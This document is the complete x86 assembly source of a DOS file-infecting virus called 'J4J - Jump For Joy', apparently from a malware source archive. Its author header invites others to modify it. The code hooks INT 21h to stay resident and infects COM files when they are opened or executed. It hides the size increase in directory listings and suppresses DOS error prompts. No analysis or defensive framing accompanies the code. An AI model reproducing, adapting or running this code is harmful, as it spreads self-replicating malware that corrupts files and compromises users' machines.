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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.fil.asm

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2021-01-12 23:41:47 +00:00
;J4J - Jump For Joy, released 31 Jan 92, (c) Charlie of Demoralized Youth
;------------------------------------------------------------------------
;This source has been lying around for a veeeeeery long time, and I will
;*NOT* continue to make newer versions of J4J, so that is the reason
;why I release the source.
;
;It's been 'bout a month since my last glance on it, so it's maybe full
;of bugs, but anyways; assemble with A86
;
;Some idea's were taken from Omicron / FLIP B (Just the startup), but
;the rest was done by CHARLIE of DEMORALIZED YOUTH!
;
;Fuck this code up however you like...
tsr_bytes equ 1024
tsr_para equ (4096 / 16)
cpt1 equ $
mov ax,1991
mov bx,ax
mov cx,ax
add ax,13881
int 21h
cmp ax,cx
je fail
cmp sp,-10h
jb fail
mov ax,cs
dec ax
mov es,ax
cmp byte es:[0000h],'Z'
jne fail
mov ax,es:[0003h]
sub ax,tsr_para
jc fail
mov es:[0003h],ax
sub word ptr es:[0012h],tsr_para
mov es,es:[0012h]
call $+3
cpt3 equ $
pop si
mov bx,si
sub si,(cpt3-cpt1)
add si,(cpt4-cpt1)
push cs
push si
mov si,bx
sub si,(cpt3-cpt1)
mov cx,offset total-100h
mov di,100h
push es
rep movsb
mov di,17Dh+2
push di
retf
cpt4 equ $
fail:
mov ax,100h
push ax
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
push cs
push cs
pop es
pop ds
mov word [100h],20CDh
rpl1 equ $-2
mov byte [102h],90h
rpl2 equ $-1
ret
cpt2 equ $
jmp init
fcb_open dw offset fcb_open_cont
exec dw offset back
open_handle dw offset back
new_int_21:
pushf
cmp ah,0Fh ;open file using FCB's
jne not_open_fcb
call fcb_to_asciiz
push dx
push ds
push cs
pop ds
mov dx,offset file
push cs:[fcb_open]
jmp file_main
fcb_open_cont:
pop ds
pop dx
jmp back
not_open_fcb:
;cmp ah,4Eh
;je handle_dir
;cmp ah,4Fh
;je handle_dir
cmp ah,11h
je fcb_dir
cmp ah,12h
je fcb_dir
cmp ah,3Eh
jne clodd
cmp bx,1991
jne clodd
xchg ax,bx
popf
iret
clodd:
cmp ah,3Dh
jne last_chance
push cs:[open_handle]
jmp file_main
last_chance:
cmp ax,4B00h
jne back
push cs:[exec]
jmp file_main
back:
popf
db 0EAh
old_int_21 dw 0,0
handle_dir:
popf
call int21
pushf
jnc back_handle_dir
cmp ax,0
jne back_handle_dir
call stealth_dir_handle
sti
back_handle_dir:
popf
iret
fcb_dir:
popf
call int21
pushf
cmp al,00h
jne back_fcb_dir
call stealth_dir_fcb
sti
back_fcb_dir:
popf
iret
fcb_fname equ 80h+1
fcb_fext equ 80h+1+8
f_attr equ 80h+15h
f_time equ 80h+16h
f_date equ 80h+18h
f_size equ 80h+1Ah
f_asciiz equ 80h+1Eh
f_handle equ 80h
f_head_buffer equ 80h+2
f_tail_buffer equ 80h-3
f_type equ 80h+6
repl0: db 0E8h,?,? ;call ????
;repl1: db 0C7h,6,0,1,?,? ;mov word [0100h],????
; db 0C6h,6,2,1,? ;mov byte [0102h],??
repl2: push bp
mov bp,sp
sub word [bp+2],3
pop bp
repl3:
db 'Elo<6C>, Elo<6C>, lam<61> sabakt<6B>ni?'
file_main:
pushf
;call other_file_type_check
;jnc file_main_pr1
jmp file_main_pr1
popf
jmp back
file_main_pr1:
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
push cs
pop es
mov si,dx
mov di,offset file
cld
mov cx,65
rep movsb
push cs
pop ds
call setup_24
;call cpu_check
;cmp ax,1
;je file_slutt
call file_info_get
jc file_is_done
call mekke_fil
file_is_done:
call file_info_set
file_slutt:
call rest_24
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret ;jmp back
file db 65 dup(0)
old_dta dw ?,?
file_info_get:
mov ah,2Fh ;get DTA address
call int21
mov old_dta[2],es
mov old_dta[0],bx
mov ah,1Ah ;set DTA address
push cs
pop ds
mov dx,80h
call int21
mov ah,4Eh ;FIND FIRST (get info about
mov cx,1+2+32 ;our file)
mov dx,offset file
call int21
jnc file_info_get_ok
stc
ret
stc
ret
file_info_get_ok:
clc
test word [f_attr],4 ;is the System attr. set?
jnz offset file_info_get_ok-2 ;yeah, so don't do it..
cmp word [fcb_fname],'OC' ;like in: COmmand.com
je offset file_info_get_ok-2 ;the command-interpreter
cmp word [fcb_fname],'BI' ;like in: IBmbio.com and IBmdos.com
je offset file_info_get_ok-2 ;the startup files for IBM-dos
cmp word [fcb_fext],'YS' ;like in: country.SYs
je offset file_info_get_ok-2 ;device drivers and .SYS files
mov ax,4301h ;set attribute
xor cx,cx ;attr=0
mov dx,offset file
call int21
mov ax,3D02h ;open file
mov dx,offset file
call int21
jnc fig_open
fig_fail:
stc
ret
fig_open:
mov [f_handle],ax
mov bx,ax
mov ah,3Fh ;read from file
mov cx,3 ;3 bytes
mov dx,f_head_buffer
call int21
jnc fig_read
jmp fig_fail
fig_read:
cmp ax,3
jne fig_fail
mov ax,4200h
xor cx,cx
mov dx,[f_size]
sub dx,3
mov bx,[f_handle]
call int21
mov ah,3Fh
mov cx,3
mov dx,f_tail_buffer
call int21
cmp word [f_size+2],0
jnz fig_fail
cmp [f_size],60000
ja fig_fail
cmp word [f_head_buffer],'MZ' ;EXE 'ZM' ?
je file_is_exe
cmp word [f_head_buffer],'ZM' ;EXE 'MZ' ?
je file_is_exe
cmp word [f_head_buffer],-1 ;Device Driver ?
je fig_fail
mov byte [f_type],0 ;filetype = COM
clc
ret
file_is_exe:
mov byte [f_type],1 ;filetype = EXE
clc
ret
file_info_set:
mov ah,1Ah ;set DTA address
mov dx,old_dta[0]
mov bx,old_dta[2]
mov ds,bx
call int21
push cs
pop ds
mov ax,4301h ;restore ATTRibutes
mov cx,[f_attr]
mov dx,offset file
call int21
mov ax,5701h ;restore DATE & TIME
mov bx,[f_handle]
mov cx,[f_time]
and cl,255-31
or cl,30
mov dx,[f_date]
call int21
mov ah,3Eh ;close file
mov bx,[f_handle]
call int21
ret
db '<27><><EFBFBD>--?!?'
mekke_fil:
cmp [f_size],1023
ja not_one_n0
stc
ret
not_one_n0:
cmp byte ptr [f_type],0
je not_one_n1
stc
ret
not_one_n1:
cmp word ptr [f_tail_buffer],'4J'
jne not_one
stc
ret
not_one:
mov ax,[f_size] ;calculate CALL
sub ax,3 ;length
mov repl0[1],ax
mov ax,word [f_head_buffer]
mov bl,byte [f_head_buffer]+2
mov [offset rpl1],ax
mov [offset rpl2],bl
; mov word ptr repl1[4],ax ;restore orig bytes
; mov repl1[10],bl ;after CALL...
mov ax,4200h ;seek to file_start
mov bx,[f_handle]
xor cx,cx
mov dx,cx
call int21
mov ah,40h ;write CALL XXXX
mov bx,[f_handle]
mov cx,3 ;3 bytes
mov dx,offset repl0
call int21
mov ax,4202h ;seek to EOF
mov bx,[f_handle]
xor cx,cx
mov dx,cx
call int21
; mov ah,40h ;write startup-code
; mov bx,[f_handle]
; mov cx,(offset repl3)-offset repl1
; ;???? bytes
; mov dx,offset repl1
; call int21
; jc replace_them_now
mov ah,40h ;write main code
mov bx,[f_handle]
mov cx,offset total-100h
mov dx,100h
call int21
jc $+2+1+1
clc
ret
replace_them_now:
mov ax,4200h ;seek to beginning
mov bx,[f_handle] ;of the file
xor cx,cx
mov dx,cx
call int21
mov ah,40h ;error, so write
mov bx,[f_handle] ;back 3 first bytes
mov cx,3
mov dx,f_head_buffer
call int21
stc
ret
db 'Charlie says: Support ()DEMORALIZED YOUTH() '
;;*************************************************************
;;* CPU checker, coded by Data Disruptor / RABiD Nat'nl Corp. *
;;*************************************************************
;cpu_check:
; xor ax,ax
; push ax
; popf
; pushf
; pop ax
; and ax,0f000h
; cmp ax,0f000h
; je mc_8086
; mov ax,0f000h
; push ax
; popf
; pushf
; pop ax
; and ax,0f000h
; jz mc_80286
; mov ax,3
; ret
;mc_80286:
; mov ax,2
; ret
;mc_8086:
; mov ax,1
; ret
;***************************************
;
; Call previously saved Int 21h Handler
;
;***************************************
int21:
pushf
call dword ptr cs:old_int_21
ret
;**********************************************
;
; Int 24h (Critical Error Handler) Code & Data
;
;**********************************************
err dw 0
old_24 dw ?,?
new_24: inc cs:err
mov al,0
stc
iret
;****************************************************************
;
; Fix so that Int 24h (Critical Error Handler) won't display the
; "abort, retry, fail?" message
;
;****************************************************************
setup_24:
xor ax,ax
mov ds,ax
les bx,[24h*4]
push cs
pop ds
mov word ptr old_24[0],bx
mov word ptr old_24[2],es
mov ds,ax
mov word ptr [24h*4],offset new_24
mov word ptr [24h*4+2],cs
push cs
push cs
pop es
pop ds
ret
;**********************************************************
;
; Restore original Int 24h (Critical Error Handler) vector
;
;**********************************************************
rest_24:
les bx,cs:old_24
xor ax,ax
mov ds,ax
mov word ptr [24h*4],bx
mov word ptr [24h*4+2],es
push cs
pop ds
ret
;*********************************************************
;
; Check if the filename has got an extension of .COM or
; .EXE. Returns with CY if not a valid filetype, or NC if
; it is a valid one.
;
;*********************************************************
other_fail:
pop bp
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
stc ;return with CY
ret
other_file_type_check: ;here the main routine starts
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
push bp
mov di,dx
push ds
pop es
cld
mov cx,127
xor al,al
repnz scasb
jne other_fail
dec di
dec di
dec di
dec di
dec di
xchg si,di
lodsb
cmp al,'.'
jne other_fail
lodsw
and ax,0DFDFh
cmp ax,'OC'
je other_okfil
cmp ax,'XE'
je other_okfil
jmp other_fail
other_okfil:
lodsb
and al,0DFh
cmp al,'M'
je other_okfil2
cmp al,'E'
jne other_fail
other_okfil2:
pop bp
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
clc ;return with NC
ret
stealth_dir_handle:
jc done_stealthing_handle
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ah,2Fh
call int21
mov ax,word ptr es:[bx+16h]
mov ah,1Eh
and al,1Fh
cmp al,ah
jne done_stealthing_handle
cmp word es:[bx+1Ah+2],0
jne done_stealthing_handle
mov ax,word es:[bx+1Ah]
sub ax,(offset total)-100h
jc done_stealthing_handle
mov word es:[bx+1Ah],ax
done_stealthing_handle:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
stealth_dir_fcb:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ah,2Fh
call int21
; mov es,ds
; mov bx,dx
mov ax,word ptr es:[bx+14+10h] ;16h]
mov ah,30 ;1Eh
and al,31 ;1Fh
cmp al,ah
jne done_stealthing_fcb
cmp word es:[bx+22+10h],0 ;+10h+2],0
jne done_stealthing_fcb
mov ax,word es:[bx+20+10h] ;+10h]
sub ax,(offset total)-100h
jc done_stealthing_fcb
mov word es:[bx+20+10h],ax
done_stealthing_fcb:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
init:
cli
push cs
push cs
pop ds
pop es
mov ax,3521h
int 21h
mov word ptr old_int_21[0],bx
mov word ptr old_int_21[2],es
mov dx,offset new_int_21
mov ax,2521h
int 21h
sti
retf
fcb_to_asciiz:
pushf
push ax
push cx
push si
push di
push es
push cs
pop es
mov di,offset file
cld
mov si,dx ;fcb_start
lodsb
cmp al,0
je fcb_in_current_dir
add al,'A'
stosb
mov al,':'
stosb
jmp anyway
fcb_in_current_dir:
inc si
anyway:
mov si,dx
inc si
mov cx,8
fcb_file_name_xfer:
lodsb
cmp al,' '
je fcb_done_1
stosb
loop fcb_file_name_xfer
fcb_done_1:
mov al,'.'
stosb
mov si,dx ;fcb_start
add si,1+8
mov cx,3
fcb_file_ext_xfer:
lodsb
cmp al,' '
je fcb_done_2
stosb
loop fcb_file_ext_xfer
fcb_done_2:
mov al,0
stosb
pop es
pop di
pop si
pop cx
pop ax
popf
ret
size dw (offset total)-100h
db 'J4J'
total:

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